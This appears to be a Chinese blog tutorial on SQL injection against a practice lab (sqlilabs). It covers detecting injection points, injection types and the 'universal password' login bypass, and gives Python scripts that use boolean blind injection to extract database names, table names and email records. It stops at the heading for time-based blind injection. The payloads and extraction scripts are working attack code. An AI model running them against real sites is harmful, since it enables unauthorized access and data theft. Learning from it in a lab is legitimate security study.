sql注入(晨版)

sql 注入:

1.sql注入最重要的过程,单引号判断注入最常见。

分为三大类:get、post、cookie

简单判断get型:

http://host/test.php?id=100’ 返回错误说明有可能注入

http://host/test.php?id=100 and 1=1 返回正常

http://host/test.php?id=100 and 1=2返回错误

如果出现以上三种错误,基本盘判定为注入点

#盲注中只会回显错误或者正确,不会报错

2.判断注入类型

注入类型分为:数字型,字符型,搜索型,内联式,终止式。

数字型,传入参数为数字,回显错误正确来判断:

http://host/test.php?id=100 and 1=1 返回成功

http://host/test.php?id=100 and 1=2 返回失败

也就是说,后台sql语句查询判断传入参数为数字,不用闭合sql语句。

字符型,传入闭合字符,查询是否出错:

http://host/test.php?name=man' and '1'='1 返回成功

http://host/test.php?name=man' and '1'='2返回失败

这里比上面多了 ‘ 所以判断回显正确错误,说明后台查询语句查询的是字符串,进行sql注入的时候就需要传入闭合来进行。

搜索型,借用like语句进行搜索,like中**%**为通配符,由于进行了通配符的匹配无法进行正常的测试,依然是构造闭合条件来进行匹配:

SELECT * FROM news WHERE keyword like '%$keyword%'
这里的$keyword是用户的输入
当我们输入以下语句的时候 
pt%' and 1=1 and '%'=' 
最终我们得到的语句是这样的 
SELECT * FROM news WHERE keyword like '%pt%' and 1=1 and '%'='%' 
这个语句又一次的闭合了

内联型,指的是进行查询的注入之后,原来的查询依然在进行,也就是说,虽然有错但是依然执行,需要注意的是,由于sql语句中使用了 AND 使得语句中错误一个返回的都为错误,常见的就是登陆页面,利用方法为构造 OR 1 = 1 来进行绕过,但是一定要注意逻辑先后顺序 SQL语句中AND运算优先级大于OR

SELECT * FROM admin WHER username='$name' AND password ='$passwd'

这个时候我们想办法绕过AND,所以从password=’or 1 = 1,所谓的万能密码就是这种的绕过方式。

如果你从username输入,就会导致:

SELECT * FROM admin WHER username = '' or '1'='1' AND password = ''
此时先进行 '1' = '1' AND password = ''的判断,结果为 0
然后进行 username = '' or 0 由于username 不可能为空,所以此时为 0 or 0 为 0 最终显示错误,所以万能密码叫做万能密码,不叫万能账号。

终止型,可以进行输入注释符来进行后面语句的注释:

上面的题型,如果我们想要进行注入的话,我们需要注释掉后面的 password 就能成功:

输入:' or ''='' --
后台查询语句:SELECT * FROM admin WHER username='' or ''='' --' AND password ='fuzz'
只进行前两个语句,AND 后面不进行,导致返回为真

盲注:

盲注分为三个类型:

基于布尔的盲注

基于时间的盲注

基于报错的盲注

布尔类型盲注:

mysql 一些内置函数:

length()返回内容的字符串的长度
ascii() 返回字符的ascii码
substr(str,start,length) 截取字符串

三步走:

0x00:爆库

url and length(database())>0 #
// 最后的数字可以进行更换来确定库名的长度。

当确定了库名长度之后,利用python脚本来进行爆破。

import requests
def get_db_name():
 result = ""
 url_template = "url?id=2' and ascii(substr(database(),{0},1))>{1} %23"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #根据返回长度的不同来判断字符正确与否
   if length>706:
    result += char
    break
 print(result)

0x01:爆表

url id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
依然是优先判断表的长度

当判读出表的长度的时候就可以使用python脚本继续跑

import requests
def get_table_name():
 result = ""
 url_template = "url ?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23"#limit 内容的值限制了表的次序,例如第二张表名就切换为 1,2)
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

0x02:脱库

脱库之前先判断 emails 表中的记录数

url+?id=2' and (select count(*) from emails)>0 %23 #count函数用于查询表内的记录数

确定了表中的记录数之后我们进行下一步的脱库

url+id=2' and (select length(email_id) from emails limit 0,1)>15 %23

确定内容的长度。

py跑一下

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)

另外就是使用sqlmap。

基于时间的盲注:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值